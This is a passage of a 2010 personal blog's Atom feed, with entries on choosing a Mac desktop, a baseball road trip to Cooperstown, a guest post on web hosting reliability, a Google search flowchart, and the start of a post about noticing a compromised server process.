focused. But, again, to be fair running Linux on a laptop today is
nowhere as painful as it was say 10 or even 5 years ago.&lt;a class="sdfootnoteanc" name="sdfootnote1anc" href="#sdfootnote1sym"&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/a&gt;
In any case, the Mini for the most part has become something of an
&lt;a href="http://www.apple.com/itunes/"&gt;iTunes&lt;/a&gt; dedicated machine, providing a home for my iPhone at night as
well a place to manage tunes to listen to via &lt;a href="http://en.wikipedia.org/wiki/AirPort#AirTunes"&gt;AirTunes&lt;/a&gt;.
&lt;br /&gt;&lt;br /&gt;
Which brings me back to my video issue,
even before the new iPhone 4 my Mac was the machine I preferred to
use to manage video and photos, along with music. The new phone of
course adds lots of reasons why to continue and even expand using my
Mac, but, alas, the &lt;a href="http://en.wikipedia.org/wiki/PowerPC_G4"&gt;G4&lt;/a&gt; just isn't up to the challenge anymore. Of
course, I knew this day was coming. In fact, given that Apple is no
longer supporting OS X on the PowerPC chipset, I'm kind of surprised
they haven't "gone native" with iTunes by now. 
&lt;br /&gt;&lt;br /&gt;
So the obvious, cheap and easy solution
would be to replace my Mini with the &lt;a href="http://www.zdnet.com/blog/hardware/mac-mini-refresh/8622"&gt;2010 model Apple released in
June&lt;/a&gt;, right?&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;/p&gt;&lt;span class="mt-enclosure mt-enclosure-image" style="display: inline;"&gt;&lt;img alt="macmini.jpeg" src="http://pdw.weinstein.org/macmini.jpeg/macmini.jpeg" class="mt-image-center" style="margin: 0pt auto 20px; text-align: center; display: block;" height="392" width="600" /&gt;&lt;/span&gt;
&lt;p style="margin-bottom: 0in;"&gt;
It is, but I recently purged a whole
lot of papers from my desk in the home office and while there are
still a few boxes laying about the place, the desk actually looks
inviting again.&lt;a class="sdfootnoteanc" name="sdfootnote2anc" href="#sdfootnote2sym"&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;
The problem now isn't miscellaneous papers, it's miscellaneous
computers: the Mac Mini, the Lenovo ThinkPad and a Dell Optiplex 320.
&lt;br /&gt;&lt;br /&gt;
It just so happens that Apple this week
completed their desktop updates for 2010. So now I'm wondering if I
want to move on and do a little digital consolidating as well. 
&lt;br /&gt;&lt;br /&gt;
As I previously stated my Mac is my
media station right now, my Lenovo is my workstation and the Dell is
a home server running SuSE Linux and handles fileshare/backup,
website development environment and virtual machine host duties.&lt;br /&gt;&lt;br /&gt;So
the main question I find myself asking is do I go whole hog with a
Mac Pro or do I go for the high-end Quad Core 27'' iMac? 
&lt;br /&gt;&lt;br /&gt;
Nor, am I the only one apparently
asking this question. &lt;a href="http://daringfireball.net/"&gt;John Gruber&lt;/a&gt; suggests this is "&lt;a href="http://daringfireball.net/linked/2010/07/28/marco-imac-mac-pro"&gt;a really good
question&lt;/a&gt;" when quoting &lt;a href="http://www.marco.org/868606627"&gt;a blog post by Marco Arment&lt;/a&gt;.
&lt;br /&gt;&lt;br /&gt;
Interesting, Gruber stops there and
doesn't note that in Arment's own post he comes to the conclusion
that while the Pro is priced with a " $1200 premium" over a
similarly configured iMac, the Pro has a higher resell value on
Craigslist and eBay. More important to me,&lt;a class="sdfootnoteanc" name="sdfootnote3anc" href="#sdfootnote3sym"&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt;
the Pro provides greater flexibility, since obviously, the Pro is not
a consumer focused machine with a limited upgrade path.&lt;a class="sdfootnoteanc" name="sdfootnote4anc" href="#sdfootnote4sym"&gt;&lt;sup&gt;4&lt;/sup&gt;&lt;/a&gt;
&lt;/p&gt;&lt;span class="mt-enclosure mt-enclosure-image" style="display: inline;"&gt;&lt;img alt="macpro.jpeg" src="http://pdw.weinstein.org/macpro.jpeg/macpro.jpeg" class="mt-image-center" style="margin: 0pt auto 20px; text-align: center; display: block;" height="600" width="347" /&gt;&lt;/span&gt;&lt;p style="margin-bottom: 0in;"&gt;
In Arment's own words, "while the Mac
Pro costs a lot more up front, high-performance users also get a lot
more value and versatility over its lifespan, which is likely to be
much longer and end much more gracefully."
&lt;br /&gt;&lt;br /&gt;
Wait did I just talk myself into getting
a Mac Pro? Great, now how am I going to afford the damn thing?&lt;/p&gt;
&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;
&lt;div id="sdfootnote1"&gt;
	&lt;p class="sdfootnote"&gt;&lt;a class="sdfootnotesym" name="sdfootnote1sym" href="#sdfootnote1anc"&gt;1&lt;/a&gt; Yes,
	really I tried using a version Linux on a laptop over 10 years
	ago...&lt;/p&gt;
&lt;/div&gt;
&lt;div id="sdfootnote2"&gt;
	&lt;p class="sdfootnote"&gt;&lt;a class="sdfootnotesym" name="sdfootnote2sym" href="#sdfootnote2anc"&gt;2&lt;/a&gt; And
	not just because the chair is no longer playing host to escapees 
	&lt;/p&gt;
&lt;/div&gt;
&lt;div id="sdfootnote3"&gt;
	&lt;p class="sdfootnote"&gt;&lt;a class="sdfootnotesym" name="sdfootnote3sym" href="#sdfootnote3anc"&gt;3&lt;/a&gt; I
	hardly ever end up trying to resell any of my old computers. &lt;a href="http://pdw.weinstein.org/2007/06/apple-hacking-for-fun-and-profit.html"&gt;I
	either repurpose them&lt;/a&gt;, whole or in parts or store them for later.&lt;/p&gt;
&lt;/div&gt;
&lt;div id="sdfootnote4"&gt;
	&lt;p class="sdfootnote"&gt;&lt;a class="sdfootnotesym" name="sdfootnote4sym" href="#sdfootnote4anc"&gt;4&lt;/a&gt; Again
	that whole reuse/repurpose thing&lt;/p&gt;
&lt;/div&gt;
&lt;div id="sdfootnote4"&gt;
	&lt;p class="sdfootnote"&gt;&lt;a href="editor-content.html?cs=utf-8" class="sdfootnotesym"&gt;&lt;/a&gt; Images Courtesy of Apple&lt;/p&gt;
&lt;/div&gt;

&lt;div style="margin-top: 10px; height: 15px;" class="zemanta-pixie"&gt;&lt;img style="border: medium none ; float: right;" class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=2a151773-12c9-4b0f-8fc9-bd8903d4a1f7" /&gt;&lt;span class="zem-script more-related pretty-attribution"&gt;&lt;script type="text/javascript" src="http://static.zemanta.com/readside/loader.js" defer="defer"&gt;&lt;/script&gt;&lt;/span&gt;&lt;/div&gt;
        
    
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/2EYJQV-dpr-ntVdQsc-AMZrVQKw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2EYJQV-dpr-ntVdQsc-AMZrVQKw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/2EYJQV-dpr-ntVdQsc-AMZrVQKw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2EYJQV-dpr-ntVdQsc-AMZrVQKw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/_znI_fcc_Ag" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://pdw.weinstein.org/2010/07/which-mac-desktop-mini-imac-or-pro.html</feedburner:origLink></entry>

<entry>
    <title>Idealized Americanism</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/GY15rCAAYSE/idealized-americanism.html" />
    <id>tag:pdw.weinstein.org,2010://2.211</id>

    <published>2010-07-14T04:58:59Z</published>
    <updated>2010-07-14T05:00:01Z</updated>

    <summary>A short story about a road trip I took to Boston and Cooperstown, NY with my brother.</summary>
    <author>
        <name>Paul Weinstein</name>
        <uri>http://pdw.weinstein.org</uri>
    </author>
    
        <category term="Family and Friends" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="baseball" label="baseball" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="family" label="Family" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="travel" label="Travel" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://pdw.weinstein.org/">
        &lt;p&gt;
&lt;strong&gt;Preface&lt;/strong&gt;&lt;br /&gt;
I will next be in Cooperstown, NY in four years, or shortly there after, to witness Frank Thomas' induction in the the &lt;a class="zem_slink rdfa" href="http://www.baseballhalloffame.org/" title="National Baseball Hall of Fame and Museum" rel="ctag:means homepage" xmlns:ctag="http://commontag.org/ns#" typeof="ctag:Tag" resource="http://rdf.freebase.com/ns/guid/9202a8c04000641f800000000000a872" property="ctag:label"&gt;National Baseball Hall of Fame&lt;/a&gt;. 
&lt;br /&gt;&lt;br /&gt;
Of all the will he or won't he arguments I've heard on Thomas' behalf, the most direct is this: In 2000 Thomas was runner up in voting as the American League's Most Valuable Player. He lost to Jason Giambi of the Oakland Athletics. Of course Giambi's name is now synonymous with baseball's &lt;a href="http://www.baseballssteroidera.com/"&gt;Steroids Era&lt;/a&gt;. As the members of the &lt;a href="http://en.wikipedia.org/wiki/Baseball_Writers_Association_of_America"&gt;Baseball Writers Association of America&lt;/a&gt; come to terms with giving the MVP to Giambi ten years ago and had Thomas, who could be considered an &lt;a href="http://en.wikipedia.org/wiki/Frank_Thomas_(baseball,_born_1968)#Advocate_for_drug_testing"&gt;"early" advocate of drug testing&lt;/a&gt; of professional baseball players, won, he would have a total of 3 MVPs to his name. Of all the players who have won three or more MVP awards - notwithstanding Barry Bonds or Alex Rodriguez (who have also been connect to steroid usage) or Albert Pujols (who is still an active player) - each and everyone of them is enshrined in the hall of fame.
&lt;br /&gt;&lt;br /&gt;
As it happens, the last time I was in Cooperstown, ten years ago this July. While living and working in Oakland and looking toward a possible Chicago/Oakland post-season, my brother and I undertook a road-trip from Chicago to Boston and Cooperstown to watch a childhood hero, Carlton Fisk, get inducted. I &lt;a href="http://web.archive.org/web/20021116233121/www.weinstein.org/manuscript/american.html"&gt;wrote and posted&lt;/a&gt; the following shortly after that trip. It is by far not the best piece of writing about baseball or Americana. But it is a first hand account of a short, memorable trip that I'm glad I took. 
&lt;br /&gt;&lt;br /&gt;
&lt;strong&gt;July 13-25 2000&lt;/strong&gt;&lt;br /&gt; 
I think my head is fried from reading &lt;a href="http://www.amazon.com/exec/obidos/ASIN/0140042598/o/qid=964820232/sr=8-1/ref=aps_sr_b_1_3/103-2724070-9265410"&gt;On The Road&lt;/a&gt; off and on for the past month. My head wants to make this road trip a surreal experience of driving east to New York. Yet, this trip isn't some &lt;a href="http://www.avalon.net/%7Erob/kerouac/"&gt;Kerouac&lt;/a&gt; inspired thought. The simple fact is that I've done parts of this trip before, granted not with this level of independence, but none the less, not a coming of age trip it will be. Then there's the fact that I feel like an old hand at this trip, despite the fact that I've only done it twice before and both times I was a passive traveler, once with my parents and bother, once with only my father. There must be something about travel, seeing a place for the first time makes it unique, traveling there again makes it familiar, after that it's as comfortable as home. The start of my 25th year I'll be pointed at Boston where I haven't been for some 10 years or so. This time the history lesson won't be on the beginning of American, but on her National Pastime, &lt;a href="http://www.majorleaugebaseball.com/"&gt;baseball&lt;/a&gt;. 
&lt;br /&gt;&lt;br /&gt; 
My flight out of SFO was a bit of a pain. I got the shuttle bus to the airport with plenty of time to check in and sit about by the gate playing online with &lt;a href="http://www.c2.net/"&gt;C2&lt;/a&gt;'s laptop and my cell phone. Then we boarded the plane and things went down hill from there. As soon as everyone was settled Air Traffic Control put a slow down on flights in-bound to O'Hare, which seem to make everyone go nuts. I just dragged out my cell phone, called Tom to tell him I'd be late and not to hang around O'Hare more than necessary and went back online checking some more email. After about an hour and half of the two hour delay we started back up and off we went. Tom and I had plans to eat out for a birthday dinner, but since I didn't get in till around 9:30 I had to settle for &lt;a href="http://www.portillos.com/portillo/index.html"&gt;Portillo's&lt;/a&gt; (no major lost, if you ask me). I chatted with Katie after I got settled in at home and then watched a bit of TV. Tuesday morning we got our things and off we went. The drive itself was pretty much a non event. While I can bitch and moan about Dad's &lt;a href="http://www.lexus.com/Models/ES/"&gt;Lexus&lt;/a&gt; (being 6' 3'' has it's downsides not matter what people think..."oh, it must be so nice to be tall", "play basketball do you?" and never being able to fit in a car smaller then an SUV covers the top three). I do have to say that one, the gas mileage is great and two, a 6 disc CD changer makes all the different in the world. So we cruised on listening to Perl Jam, Tom Petty, Miles Davis (the best quote of the whole trip is when checking into a Red Roof the clerk looked at Tom's T-shirt, asked if it was Miles Davis, Tom said it was and the clerk said "Bit young to know who Miles Davis is aren't you?" You can bet if it's good music at least one of us has heard it...Tom gets better odds then I, but that's beside the point), Buddy Guy, Rolling Stones, et al. passing more road construction then I've seen in a long time (last time being all those trips downstate Illinois on I-55 to Bloomington/Normal and Springfield). Of course being able to sign online while Tom's driving helps kill the time too. 
&lt;br /&gt;&lt;br /&gt; 
South Bend we stopped for lunch, then reached Cleveland just as an Indians/Astros games was about to start. So, we ditched the car picked up two scalped tickets and just missed Houston pick up their first run of the game in the top half of the first. &lt;a href="http://www.clevelandindians.com/jacobs/"&gt;Jacobs Field&lt;/a&gt; and the area around the ballpark is a nice little place. The stadium itself looks a bit more modern then say &lt;a href="http://www.sfgiants.com/park/sfg_parkmain.html"&gt;Pac Bell Park&lt;/a&gt;, since Cleveland had a lot of land to play with, they have 3 levels of skyboxes and restaurant/bar such as &lt;a href="http://www.chisox.com/home/sox_ballpark.cfm"&gt;Comiskey&lt;/a&gt;, but Jacobs Filed has a less sterile feel. The Indians of course won, but the Sox won their game against the Brew crew to stay 9.5 games ahead. After the game we finished off our driving for the day in Eire, PA. Then after what seemed to be a 5 minute nap, back on the road we went on, after breakfast of course. 
&lt;br /&gt;&lt;br /&gt; 
We made Boston by evening and after getting all of our stuff into our room we head out to find dinner, which ended up being at a local Irish pub next to the Boston University campus. Thursday morning the first thing we did was to take a tour of &lt;a href="http://www.redsox.com/fenway/"&gt;Fenway Park&lt;/a&gt;. I do have to sat that the organization has done a nice job of not only taking care of the aging park, but of also updating it to offer fans some of the amenities of the newer parks. We continued on and walked over the Boston's Museum of Fine Art to view a Van Gogh exhibit that was on display. Afterward, we moved on to downtown Boston to see some of the other sights and take in the town. We dined at the Governor's Alley for an exquisite seafood supper. Then back to our room to call it a day. 
&lt;br /&gt;&lt;br /&gt; 
Friday we just hung around resting, reading and other whatnots till the Red Sox/White Sox game. Our seats where in center field, about a dead center as you can get for Fenway (and as far from home plate too). The White Sox stayed close to Boston and won the game in the end. It's truly interesting how for example Jacobs field, while open, clean and friendly has an all most Disney-esqe Main Street/Epco feel to it where Fenway while serving the same functions for fans keeps a more home-grown if a bit rough and dirty, atmosphere that I hadn't realized I missed from old Comiskey, till now. Saturday it was back on the road to Cooperstown, we'll Utica to be exact, to pitch our tent, at a local Red Roof, for we where off and running to Cooperstown the next morning. 
&lt;br /&gt;&lt;br /&gt; 
Twice now I've been to an Induction Ceremony and I can't quite put together a description of the day. The event is simple enough everyone gathers to watch each inductee be announced, to which of course they get to speak about what makes the award special. I don't want to say it's devoid of emotions, for that's what makes the day so special, but overall I guess it's a matter of what brings a person or people to the event that really makes the event, but that of course varies from person to person, such that the overall feel is hard to describe. After hours and hours standing (forgot the lawn chairs) in the sun Tom and I had a good part of our arms and face burned (forgot that suntan lotion, too), we stop at a local Italian restaurant for dinner before heading into the Hall itself. Most of the exhibits haven't changed much, all that really has happened is an update to include that past few seasons of ball that have come and gone since last I walked the Hall. Then of course the real event came, the plaques depicting each of the new members where placed on the wall to be included with the other stars of the game. With that all was done, home we went. 
&lt;br /&gt;&lt;br /&gt; 
Why do this trip? It's nothing as altruistic as seeing America first hand or learning about the game of baseball. Nothing any of the stars said couldn't have been heard from some "motivational specialist" or read from any listing of stats about a player. But what was gained is that from now until the end of time I can call on that place and say not only did I watch that baseball player play the game, one who is considered to be among the best, but I also stood here to see him added to this gallery of people for the way he played. In otherwords, I stopped and smelled a few roses.&lt;/p&gt;

&lt;div class="zemanta-pixie" style="margin-top:10px;height:15px"&gt;&lt;img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=94989a5b-31a9-440c-9991-cd7a80fa1a00" style="border:none;float:right" /&gt;&lt;span class="zem-script more-related pretty-attribution"&gt;&lt;script type="text/javascript" src="http://static.zemanta.com/readside/loader.js" defer="defer"&gt;&lt;/script&gt;&lt;/span&gt;&lt;/div&gt;
        
    
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Gu_51VHKTe9U2EU6C9bcYv2lPhs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Gu_51VHKTe9U2EU6C9bcYv2lPhs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Gu_51VHKTe9U2EU6C9bcYv2lPhs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Gu_51VHKTe9U2EU6C9bcYv2lPhs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/GY15rCAAYSE" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://pdw.weinstein.org/2010/07/idealized-americanism.html</feedburner:origLink></entry>

<entry>
    <title>What is Reliable Web Hosting?</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/wEcAI7Z0ujU/what-is-reliable-web-hosting.html" />
    <id>tag:pdw.weinstein.org,2010://2.228</id>

    <published>2010-07-06T19:30:26Z</published>
    <updated>2010-07-07T14:06:00Z</updated>

    <summary> [Editor's Note:This guest post is written by Kirsten Ramsburg of WebHostingSearch, enjoy] When a business decides to start a new website, they tend to not be particularly concerned with the type of hosting they will use. Instead, they are...</summary>
    <author>
        <name>Kirsten Ramsburg</name>
        
    </author>
    
        <category term="Information Technology" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Web" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="business" label="Business" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="linux" label="Linux" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="mac" label="Mac" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="server" label="Server" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="windows" label="Windows" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://pdw.weinstein.org/">
        &lt;p&gt;
[Editor's Note:This guest post is written by Kirsten Ramsburg of &lt;a href="http://www.webhostingsearch.com/"&gt;WebHostingSearch&lt;/a&gt;, enjoy]
&lt;br/&gt;&lt;br/&gt;
When a business decides to start a new website, they tend to not be particularly concerned with the type of hosting they will use. Instead, they are focused on getting their site online quickly and generating new sales through information dissemination or e-commerce. However, it is important for anyone planning on creating a website to consider the available options of web hosting and how they might affect their site.
&lt;br /&gt;&lt;br /&gt;
There are many companies that offer &lt;a href="http://www.webhostingsearch.com/cheap-web-hosting.php" target="_blank"&gt;cheap web hosting services&lt;/a&gt; for small sites. Almost all of them use either Windows or Linux as a hosting platform (there are a few alternatives like Unix or Mac hosting, but these are exceedingly rare). Contrary to popular belief, it is not necessary to use a Windows hosting package if you run Windows on your desktop computer. The hosting server is completely separate from your desktop and is typically accessed through third-party software, so you can use a Linux server even if your desktop is running Windows, OSX, or even Solaris.
&lt;br /&gt;&lt;br /&gt;
Regardless of the type of hosting, the most important concern for any site is to find a reliable web hosting solution. For example, it is vital that the company you select has a guaranteed uptime of 98%  percent or higher. This means that the server will be offline for less than fourteen hours a month for maintenance, or other reasons. Most web companies today guarantee 99% uptime and if they fail in delivering this you won't have to pay for that month. Be wary of any company that does not guarantee this minimum amount of uptime.
&lt;br /&gt;&lt;br /&gt;
Another important thing to consider is the possibility of infiltration by a &lt;a href="http://msdn.microsoft.com/en-us/magazine/cc188943.aspx"&gt;malicious third-party&lt;/a&gt;. Though both types of servers continue to improve their security systems, Windows is slightly more prone to hacker attacks because it is built on the Windows framework. Since the majority of viruses and other malicious software is designed specifically to attack Windows, servers based on Windows are a little more vulnerable. However, both types of servers depend primarily on the administrator to maintain security. In other words, it's better to have a competent administrator running a &lt;a href="http://www.microsoft.com/windowsserver2008/en/us/default.aspx"&gt;Windows server&lt;/a&gt; than a careless administrator running a Linux server.
&lt;br /&gt;&lt;br /&gt;
The third important thing to consider when selecting a reliable &lt;a href="http://www.webhostingsearch.com/" target="_blank"&gt;web hosting companies&lt;/a&gt; is the age of the hosting company. Many newer services offer amazingly inexpensive rates, but the services and support are not always as consistent as with established hosts. There are even instances of companies selling hosting packages only to close down and disappear with their clients' money. Generally speaking, a company younger than two years is risky. 
&lt;br /&gt;&lt;br /&gt;
Finding reliable web hosting is a challenge that most new companies and many private individuals will have to face at some point. However, keeping these three points in mind will greatly improve the odds of finding a hosting company that will allow you to focus on actually running your business instead of worrying about your site. 
&lt;/p&gt;
        
    
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/qSjWIPuCHWOhSgflUF7mCYKEbaM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qSjWIPuCHWOhSgflUF7mCYKEbaM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/qSjWIPuCHWOhSgflUF7mCYKEbaM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qSjWIPuCHWOhSgflUF7mCYKEbaM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/wEcAI7Z0ujU" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://pdw.weinstein.org/2010/07/what-is-reliable-web-hosting.html</feedburner:origLink></entry>

<entry>
    <title>How Google Search Works: A Detailed Flowchat</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/nU4ffoqpEL8/how-google-search-works-a-detailed-flowchat.html" />
    <id>tag:pdw.weinstein.org,2010://2.227</id>

    <published>2010-07-02T00:31:09Z</published>
    <updated>2010-07-01T21:13:17Z</updated>

    <summary>This morning technabob pointed out the following flowchart, on how Google's world famous Search feature works, by PPCBlog Infographic by PPC Blog The chart itself doesn't dive into how exactly PageRank works so much as covers all the steps and...</summary>
    <author>
        <name>Paul Weinstein</name>
        <uri>http://pdw.weinstein.org</uri>
    </author>
    
        <category term="Information Technology" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Services" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Web" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="google" label="Google" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="opensource" label="Open Source" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="technabob" label="Technabob" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="technology" label="Technology" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://pdw.weinstein.org/">
        &lt;p&gt;This morning &lt;a href="http://www.technabob.com"&gt;technabob&lt;/a&gt; pointed out the following flowchart, on how Google's world famous Search feature works, by &lt;a href="http://ppcblog.com"&gt;PPCBlog&lt;/a&gt;&lt;/p&gt;

&lt;p align="center"&gt;&lt;a href="http://ppcblog.com/how-google-works/how-google-works.jpg" rel="milkbox:gall1" title="Infographic by PPC Blog"&gt;&lt;img src="http://ppcblog.com/how-google-works/600.jpg" border="0" alt="How Does Google Work?" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;i&gt;Infographic by &lt;a href="http://ppcblog.com/"&gt;PPC Blog&lt;/a&gt;&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;The chart itself doesn't dive into how exactly &lt;a href="http://en.wikipedia.org/wiki/PageRank"&gt;PageRank&lt;/a&gt; works so much as covers all the steps and guidelines used to discover, rank and report on a web page&amp;nbsp;relative to&amp;nbsp;an user's query.
&lt;br /&gt;&lt;br /&gt;
As such, the text at the end that proclaims "and all of this is done in less than second, 300 million times a day" is a bit of a misstatement. That statement is valid for everything after the point of "User queries Google". Everything before that is done in advance, in order to process, index and prepare for&amp;nbsp;answering&amp;nbsp;the user query in a quick, meaningful manner.
&lt;br /&gt;&lt;br /&gt;
Also, that sidebar seems to leave out that those data centers are filled with an estimated 100,000+ servers built using &lt;a href="http://en.wikipedia.org/wiki/Google_platform#Software"&gt;"off-the-self" PC hardware&lt;/a&gt; that run highly customized software built on open source software such as Apache (quite possibly) and Linux (definitely).
&lt;br /&gt;&lt;br /&gt;
Of course Google didn't exactly &lt;a href="http://en.wikipedia.org/wiki/Google_platform#Original_hardware"&gt;start out&lt;/a&gt; as the 800-pound gorilla. 
&lt;/p&gt;
        
    
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/YE3Wpt4dZBjv5WFMZwEHuitmdxY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YE3Wpt4dZBjv5WFMZwEHuitmdxY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/YE3Wpt4dZBjv5WFMZwEHuitmdxY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YE3Wpt4dZBjv5WFMZwEHuitmdxY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/nU4ffoqpEL8" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://pdw.weinstein.org/2010/07/how-google-search-works-a-detailed-flowchat.html</feedburner:origLink></entry>

<entry>
    <title>Damn Script Kiddies, Get Off My Lawn!</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/JXd1RtY2Ndg/damn-script-kiddies-get-off-my-lawn.html" />
    <id>tag:pdw.weinstein.org,2010://2.226</id>

    <published>2010-06-14T01:49:31Z</published>
    <updated>2010-06-14T02:54:48Z</updated>

    <summary>This should be a post about how entertaining the Chicago edition of w00tstock was1 or about Steve Jobs' WWDC Keynote2 or about the Blackhawks winning the Stanley Cup3 or any number of other things. Instead this post it about cleaning...</summary>
    <author>
        <name>Paul Weinstein</name>
        <uri>http://pdw.weinstein.org</uri>
    </author>
    
        <category term="Development" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Web" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="apache" label="Apache" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="google" label="Google" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="linux" label="Linux" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="perl" label="Perl" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="server" label="Server" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="softwaresecurity" label="Software Security" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://pdw.weinstein.org/">
        &lt;p style="margin-bottom: 0in;"&gt;This should be a post about how
entertaining the Chicago edition of &lt;a href="http://w00tstock.net/"&gt;w00tstock&lt;/a&gt; was&lt;a class="sdfootnoteanc" name="sdfootnote1anc" href="#sdfootnote1sym"&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/a&gt;
or about Steve Jobs' WWDC Keynote&lt;a class="sdfootnoteanc" name="sdfootnote2anc" href="#sdfootnote2sym"&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;
or about the Blackhawks winning the &lt;a property="ctag:label" resource="http://rdf.freebase.com/ns/en/stanley_cup" typeof="ctag:Tag" xmlns:ctag="http://commontag.org/ns#" class="zem_slink rdfa" href="http://en.wikipedia.org/wiki/Stanley_Cup" title="Stanley Cup" rel="ctag:means wikipedia"&gt;Stanley Cup&lt;/a&gt;&lt;a class="sdfootnoteanc" name="sdfootnote3anc" href="#sdfootnote3sym"&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt;
or any number of other things. Instead this post it about cleaning up
after some &lt;a href="http://en.wikipedia.org/wiki/Script_kiddie"&gt;script kiddie &lt;/a&gt;who decided to try to use a server that does
not belong to them for their own personal use. 
&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;&lt;span class="mt-enclosure mt-enclosure-image" style="display: inline;"&gt;&lt;img alt="RedEye0611Hawks580.jpg" src="http://pdw.weinstein.org/files/bhawks.jpg/RedEye0611Hawks580.jpg" class="mt-image-center" style="margin: 0pt auto 20px; text-align: center; display: block;" height="293" width="580" /&gt;&lt;/span&gt;
&lt;br /&gt;
See, on Monday last, I discovered,
after an automated notice of high computing load, a process
identifying itself as "/usr/sbin/apache/log" which had been
running for some 30+ hours. Obviously, no Apache log rotation should
take that long. Moreover, the log rotation program commonly found
with the &lt;a property="ctag:label" resource="http://rdf.freebase.com/ns/en/apache_http_server" typeof="ctag:Tag" xmlns:ctag="http://commontag.org/ns#" class="zem_slink rdfa" href="http://httpd.apache.org/" title="Apache HTTP Server" rel="ctag:means homepage"&gt;Apache Web Server&lt;/a&gt; is known as &lt;i&gt;&lt;a href="http://httpd.apache.org/docs/2.0/programs/rotatelogs.html"&gt;rotatelog&lt;/a&gt;. &lt;/i&gt;A quick
directory listing confirmed that no such program or directory existed
at "/usr/sbin/apache/log"
&lt;br /&gt;&lt;br /&gt;
A &lt;a href="http://www.google.com/search?hl=en&amp;amp;source=hp&amp;amp;q=/usr/sbin/apache/log&amp;amp;aq=f&amp;amp;aqi=&amp;amp;aql=&amp;amp;oq=&amp;amp;gs_rfai="&gt;Google search for that path&lt;/a&gt; resulted
in a number of pages warning of a possible system compromise and
&lt;a href="http://serverfault.com/questions/75644/apache2-falling-over"&gt;suggested a review of files&lt;/a&gt; in the "/var/tmp" and "/tmp"
directories for anything weird. 
